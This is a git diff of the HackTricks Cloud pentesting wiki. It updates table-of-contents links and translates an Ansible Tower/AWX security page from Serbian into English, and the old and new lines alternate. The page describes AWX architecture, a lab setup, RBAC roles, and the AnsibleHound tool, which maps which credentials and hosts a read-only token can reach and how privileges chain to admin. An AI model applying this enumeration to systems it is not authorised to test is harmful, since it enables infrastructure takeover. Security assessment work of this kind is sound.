- [AWS - DynamoDB Enum](pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md)
- [AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md)
- [AWS - Nitro Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md)
@@ -409,7 +370,6 @@
- [AWS - Redshift Enum](pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md)
- [AWS - Relational Database (RDS) Enum](pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md)
- [AWS - Route53 Enum](pentesting-cloud/aws-security/aws-services/aws-route53-enum.md)
- [AWS - SageMaker Enum](pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md)
- [AWS - Secrets Manager Enum](pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md)
- [AWS - SES Enum](pentesting-cloud/aws-security/aws-services/aws-ses-enum.md)
- [AWS - SNS Enum](pentesting-cloud/aws-security/aws-services/aws-sns-enum.md)
@@ -419,32 +379,31 @@
- [AWS - STS Enum](pentesting-cloud/aws-security/aws-services/aws-sts-enum.md)
- [AWS - Other Services Enum](pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md)
- [AWS - Unauthenticated Enum & Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md)
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md)
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md)
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md)
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md)
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md)
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md)
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md)
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md)
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md)
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md)
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md)
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md)
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md)
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md)
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md)
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md)
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md)
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md)
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md)
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md)
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md)
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md)
- [AWS - SageMaker Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md)
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md)
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md)
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md)
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md)
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md)
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md)
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md)
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md)
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md)
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md)
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md)
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md)
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md)
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md)
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md)
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md)
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md)
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md)
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md)
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md)
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md)
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md)
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md)
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md)
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md)
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md)
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md)
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
- [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
- [Az Federation Abuse](pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md)
@@ -464,7 +423,6 @@
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
- [Az - AI Foundry](pentesting-cloud/azure-security/az-services/az-ai-foundry.md)
- [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
- [Az - Container Instances, Apps & Jobs](pentesting-cloud/azure-security/az-services/az-container-instances-apps-jobs.md)
@@ -524,7 +482,6 @@
- [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md)
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
- [Az - AI Foundry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md)
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md)

View File

@@ -1,14 +1,18 @@
> [!TIP]
> Učite i vežbajte AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Učite i vežbajte GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Učite i vežbajte Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Podržite HackTricks</summary>
> <summary>Support HackTricks</summary>
>
> - Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
> - **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>

BIN
src/files/empty.zip Normal file

Binary file not shown.

BIN
src/pdfs/AWS_Services.pdf Normal file

Binary file not shown.

View File

@@ -2,61 +2,62 @@
{{#include ../banners/hacktricks-training.md}}
## Osnovne informacije
## Basic Information
**Ansible Tower** ili njegova open-source verzija [**AWX**](https://github.com/ansible/awx) je takođe poznata kao **korisnički interfejs, kontrolna tabla i REST API Ansible-a**. Sa **kontrolom pristupa zasnovanom na rolama**, zakazivanjem poslova i grafičkim upravljanjem inventarom, možete upravljati svojom Ansible infrastrukturom iz modernog UI-a. REST API i komandna linija Tower-a olakšavaju integraciju sa trenutnim alatima i radnim tokovima.
**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansibles user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Towers REST API and command-line interface make it simple to integrate it into current tools and workflows.
**Automation Controller je novija** verzija Ansible Tower-a sa više mogućnosti.
**Automation Controller is a newer** version of Ansible Tower with more capabilities.
### Razlike
### Differences
Prema [**ovome**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), glavne razlike između Ansible Tower-a i AWX-a su podrška koja se dobija, a Ansible Tower ima dodatne funkcije kao što su kontrola pristupa zasnovana na rolama, podrška za prilagođene API-je i korisnički definisani radni tokovi.
According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
### Tehnološki stack
### Tech Stack
- **Web interfejs**: Ovo je grafički interfejs gde korisnici mogu upravljati inventarima, akreditivima, šablonima i poslovima. Dizajniran je da bude intuitivan i pruža vizualizacije koje pomažu u razumevanju stanja i rezultata vaših automatizovanih poslova.
- **REST API**: Sve što možete da uradite u web interfejsu, možete takođe uraditi putem REST API-ja. To znači da možete integrisati AWX/Tower sa drugim sistemima ili skriptovati radnje koje biste obično izvodili u interfejsu.
- **Baza podataka**: AWX/Tower koristi bazu podataka (obično PostgreSQL) za čuvanje svoje konfiguracije, rezultata poslova i drugih neophodnih operativnih podataka.
- **RabbitMQ**: Ovo je sistem za razmenu poruka koji koristi AWX/Tower za komunikaciju između različitih komponenti, posebno između web servisa i izvršitelja zadataka.
- **Redis**: Redis služi kao keš i pozadinski sistem za red zadataka.
- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
- **Redis**: Redis serves as a cache and a backend for the task queue.
### Logičke komponente
### Logical Components
- **Inventari**: Inventar je **kolekcija hostova (ili čvorova)** protiv kojih se mogu **izvršavati poslovi** (Ansible playbook-ovi). AWX/Tower vam omogućava da definišete i grupišete svoje inventare i takođe podržava dinamičke inventare koji mogu **pribaviti liste hostova iz drugih sistema** kao što su AWS, Azure, itd.
- **Projekti**: Projekat je u suštini **kolekcija Ansible playbook-ova** preuzetih iz **sistema za kontrolu verzija** (kao što je Git) kako bi se povukli najnoviji playbook-ovi kada je to potrebno.
- **Šabloni**: Šabloni poslova definišu **kako će se određeni playbook izvršiti**, specificirajući **inventar**, **akreditive** i druge **parametre** za posao.
- **Akreditivi**: AWX/Tower pruža siguran način za **upravljanje i čuvanje tajni, kao što su SSH ključevi, lozinke i API tokeni**. Ovi akreditivi mogu biti povezani sa šablonima poslova kako bi playbook-ovi imali neophodan pristup kada se izvrše.
- **Motor zadataka**: Ovo je mesto gde se dešava magija. Motor zadataka je izgrađen na Ansible-u i odgovoran je za **izvršavanje playbook-ova**. Poslovi se šalju motoru zadataka, koji zatim izvršava Ansible playbook-ove protiv određenog inventara koristeći specificirane akreditive.
- **Planeri i povratni pozivi**: Ovo su napredne funkcije u AWX/Tower koje omogućavaju **zakazivanje poslova** da se izvrše u određenim vremenima ili da budu pokrenuti spoljnim događajima.
- **Obaveštenja**: AWX/Tower može slati obaveštenja na osnovu uspeha ili neuspeha poslova. Podržava različite načine obaveštavanja kao što su e-mailovi, Slack poruke, webhook-ovi, itd.
- **Ansible Playbook-ovi**: Ansible playbook-ovi su alati za konfiguraciju, implementaciju i orkestraciju. Oni opisuju željeno stanje sistema na automatizovan, ponovljiv način. Napisani u YAML-u, playbook-ovi koriste Ansible-ov deklarativni jezik automatizacije za opisivanje konfiguracija, zadataka i koraka koji treba da se izvrše.
- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
### Tok izvršenja poslova
### Job Execution Flow
1. **Interakcija korisnika**: Korisnik može interagovati sa AWX/Tower ili putem **Web interfejsa** ili **REST API-ja**. Ovi pružaju front-end pristup svim funkcionalnostima koje nudi AWX/Tower.
2. **Inicijacija posla**:
- Korisnik, putem Web interfejsa ili API-ja, inicira posao na osnovu **Šablona posla**.
- Šablon posla uključuje reference na **Inventar**, **Projekat** (koji sadrži playbook) i **Akreditive**.
- Nakon inicijacije posla, zahtev se šalje AWX/Tower pozadini da se posao stavi u red za izvršenje.
3. **Redosled poslova**:
- **RabbitMQ** upravlja razmenom poruka između web komponente i izvršitelja zadataka. Kada se posao inicira, poruka se šalje motoru zadataka koristeći RabbitMQ.
- **Redis** deluje kao pozadinski sistem za red zadataka, upravljajući redom poslova koji čekaju na izvršenje.
4. **Izvršenje posla**:
- **Motor zadataka** preuzima posao iz reda. On preuzima neophodne informacije iz **Baze podataka** o povezanom playbook-u, inventaru i akreditivima.
- Koristeći preuzeti Ansible playbook iz povezanog **Projekta**, Motor zadataka izvršava playbook protiv specificiranih **Inventar** čvorova koristeći pružene **Akreditive**.
- Dok se playbook izvršava, njegov izlaz (logovi, činjenice, itd.) se beleži i čuva u **Bazi podataka**.
5. **Rezultati posla**:
- Kada se playbook završi, rezultati (uspeh, neuspeh, logovi) se čuvaju u **Bazi podataka**.
- Korisnici mogu pregledati rezultate putem Web interfejsa ili ih pretraživati putem REST API-ja.
- Na osnovu ishoda poslova, **Obaveštenja** se mogu slati kako bi obavestila korisnike ili spoljne sisteme o statusu posla. Obaveštenja mogu biti e-mailovi, Slack poruke, webhook-ovi, itd.
6. **Integracija sa spoljnim sistemima**:
- **Inventari** se mogu dinamički preuzimati iz spoljnih sistema, omogućavajući AWX/Tower da povuče hostove iz izvora kao što su AWS, Azure, VMware i drugi.
- **Projekti** (playbook-ovi) mogu se preuzeti iz sistema za kontrolu verzija, osiguravajući korišćenje ažuriranih playbook-ova tokom izvršenja poslova.
- **Planeri i povratni pozivi** mogu se koristiti za integraciju sa drugim sistemima ili alatima, omogućavajući AWX/Tower da reaguje na spoljne okidače ili izvršava poslove u unapred određenim vremenima.
1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
2. **Job Initiation**:
- The user, via the Web Interface or API, initiates a job based on a **Job Template**.
- The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
- Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
3. **Job Queuing**:
- **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
- **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
4. **Job Execution**:
- The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
- Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
- As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
5. **Job Results**:
- Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
- Users can then view the results through the Web Interface or query them via the REST API.
- Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
6. **External Systems Integration**:
- **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
- **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
- **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
### Kreiranje AWX laboratorije za testiranje
### AWX lab creation for testing
[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
[**Prateći dokumentaciju**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) moguće je koristiti docker-compose za pokretanje AWX:
```bash
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
@@ -82,78 +83,79 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
# Load demo data
docker exec tools_awx_1 awx-manage create_preload_data
```
## RBAC
### Podržane uloge
### Supported roles
Najprivilegovanija uloga se zove **Sistem Administrator**. Svako ko ima ovu ulogu može **modifikovati bilo šta**.
The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
Iz **white box security** pregleda, potrebna vam je **Sistem Auditor uloga**, koja omogućava **pregled svih podataka sistema** ali ne može da pravi nikakve promene. Druga opcija bi bila da dobijete **Organizacija Auditor ulogu**, ali bi bilo bolje da dobijete onu prvu.
From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
<details>
<summary>Proširite ovo da dobijete detaljan opis dostupnih uloga</summary>
<summary>Expand this to get detailed description of available roles</summary>
1. **Sistem Administrator**:
- Ovo je superuser uloga sa dozvolama za pristup i modifikaciju bilo kog resursa u sistemu.
- Mogu upravljati svim organizacijama, timovima, projektima, inventarima, šablonima poslova, itd.
2. **Sistem Auditor**:
- Korisnici sa ovom ulogom mogu da vide sve podatke sistema, ali ne mogu da prave nikakve promene.
- Ova uloga je dizajnirana za usklađenost i nadzor.
3. **Uloge Organizacije**:
- **Admin**: Potpuna kontrola nad resursima organizacije.
- **Auditor**: Pristup samo za pregled resursa organizacije.
- **Član**: Osnovno članstvo u organizaciji bez specifičnih dozvola.
- **Izvrši**: Može pokretati šablone poslova unutar organizacije.
- **Čitaj**: Može pregledati resurse organizacije.
4. **Uloge Projekta**:
- **Admin**: Može upravljati i modifikovati projekat.
- **Koristi**: Može koristiti projekat u šablonu posla.
- **Ažuriraj**: Može ažurirati projekat koristeći SCM (kontrola verzija).
5. **Uloge Inventara**:
- **Admin**: Može upravljati i modifikovati inventar.
- **Ad Hoc**: Može pokretati ad hoc komande na inventaru.
- **Ažuriraj**: Može ažurirati izvor inventara.
- **Koristi**: Može koristiti inventar u šablonu posla.
- **Čitaj**: Pristup samo za pregled.
6. **Uloge Šablona Posla**:
- **Admin**: Može upravljati i modifikovati šablon posla.
- **Izvrši**: Može pokrenuti posao.
- **Čitaj**: Pristup samo za pregled.
7. **Uloge Akreditiva**:
- **Admin**: Može upravljati i modifikovati akreditive.
- **Koristi**: Može koristiti akreditive u šablonima poslova ili drugim relevantnim resursima.
- **Čitaj**: Pristup samo za pregled.
8. **Uloge Tima**:
- **Član**: Deo tima, ali bez specifičnih dozvola.
- **Admin**: Može upravljati članovima tima i povezanim resursima.
9. **Uloge Radnog Tok**:
- **Admin**: Može upravljati i modifikovati radni tok.
- **Izvrši**: Može pokrenuti radni tok.
- **Čitaj**: Pristup samo za pregled.
1. **System Administrator**:
- This is the superuser role with permissions to access and modify any resource in the system.
- They can manage all organizations, teams, projects, inventories, job templates, etc.
2. **System Auditor**:
- Users with this role can view all system data but cannot make any changes.
- This role is designed for compliance and oversight.
3. **Organization Roles**:
- **Admin**: Full control over the organization's resources.
- **Auditor**: View-only access to the organization's resources.
- **Member**: Basic membership in an organization without any specific permissions.
- **Execute**: Can run job templates within the organization.
- **Read**: Can view the organizations resources.
4. **Project Roles**:
- **Admin**: Can manage and modify the project.
- **Use**: Can use the project in a job template.
- **Update**: Can update project using SCM (source control).
5. **Inventory Roles**:
- **Admin**: Can manage and modify the inventory.
- **Ad Hoc**: Can run ad hoc commands on the inventory.
- **Update**: Can update the inventory source.
- **Use**: Can use the inventory in a job template.
- **Read**: View-only access.
6. **Job Template Roles**:
- **Admin**: Can manage and modify the job template.
- **Execute**: Can run the job.
- **Read**: View-only access.
7. **Credential Roles**:
- **Admin**: Can manage and modify the credentials.
- **Use**: Can use the credentials in job templates or other relevant resources.
- **Read**: View-only access.
8. **Team Roles**:
- **Member**: Part of the team but without any specific permissions.
- **Admin**: Can manage the team's members and associated resources.
9. **Workflow Roles**:
- **Admin**: Can manage and modify the workflow.
- **Execute**: Can run the workflow.
- **Read**: View-only access.
</details>
## Enumeracija & Mapiranje Napada sa AnsibleHound
## Enumeration & Attack-Path Mapping with AnsibleHound
`AnsibleHound` je open-source BloodHound *OpenGraph* kolektor napisan u Go-u koji pretvara **read-only** Ansible Tower/AWX/Automation Controller API token u potpunu grafiku dozvola spremnu za analizu unutar BloodHound-a (ili BloodHound Enterprise).
`AnsibleHound` is an open-source BloodHound *OpenGraph* collector written in Go that turns a **read-only** Ansible Tower/AWX/Automation Controller API token into a complete permission graph ready to be analysed inside BloodHound (or BloodHound Enterprise).
### Zašto je ovo korisno?
1. Tower/AWX REST API je izuzetno bogat i izlaže **svaki objekat i RBAC odnos** koji vaša instanca poznaje.
2. Čak i sa najnižim privilegijama (**Čitaj**) tokenom moguće je rekurzivno enumerisati sve dostupne resurse (organizacije, inventare, hostove, akreditive, projekte, šablone poslova, korisnike, timove…).
3. Kada se sirovi podaci konvertuju u BloodHound šemu, dobijate iste *vizualizacione* mogućnosti *napadnog puta* koje su tako popularne u procenama Active Directory-a ali sada usmerene na vašu CI/CD imovinu.
### Why is this useful?
1. The Tower/AWX REST API is extremely rich and exposes **every object and RBAC relationship** your instance knows about.
2. Even with the lowest privilege (**Read**) token it is possible to recursively enumerate all accessible resources (organisations, inventories, hosts, credentials, projects, job templates, users, teams…).
3. When the raw data is converted to the BloodHound schema you obtain the same *attack-path* visualisation capabilities that are so popular in Active Directory assessments but now directed at your CI/CD estate.
Bezbednosni timovi (i napadači!) mogu stoga:
* Brzo razumeti **ko može postati admin čega**.
* Identifikovati **akreditive ili hostove koji su dostupni** iz naloga bez privilegija.
* Povezati više “Čitaj ➜ Koristi ➜ Izvrši ➜ Admin” ivica da bi dobili potpunu kontrolu nad Tower instancom ili osnovnom infrastrukturom.
Security teams (and attackers!) can therefore:
* Quickly understand **who can become admin of what**.
* Identify **credentials or hosts that are reachable** from an unprivileged account.
* Chain multiple “Read ➜ Use ➜ Execute ➜ Admin” edges to obtain full control over the Tower instance or the underlying infrastructure.
### Preduslovi
* Ansible Tower / AWX / Automation Controller dostupan preko HTTPS.
* Korisnički API token sa opsegom **Čitaj** samo (kreiran iz *Detalji korisnika → TokeniKreiraj token → opseg = Čitaj*).
* Go ≥ 1.20 za kompajliranje kolektora (ili koristite unapred izgrađene binarne datoteke).
### Prerequisites
* Ansible Tower / AWX / Automation Controller reachable over HTTPS.
* A user API token scoped to **Read** only (created from *User Details → TokensCreate Token → scope = Read*).
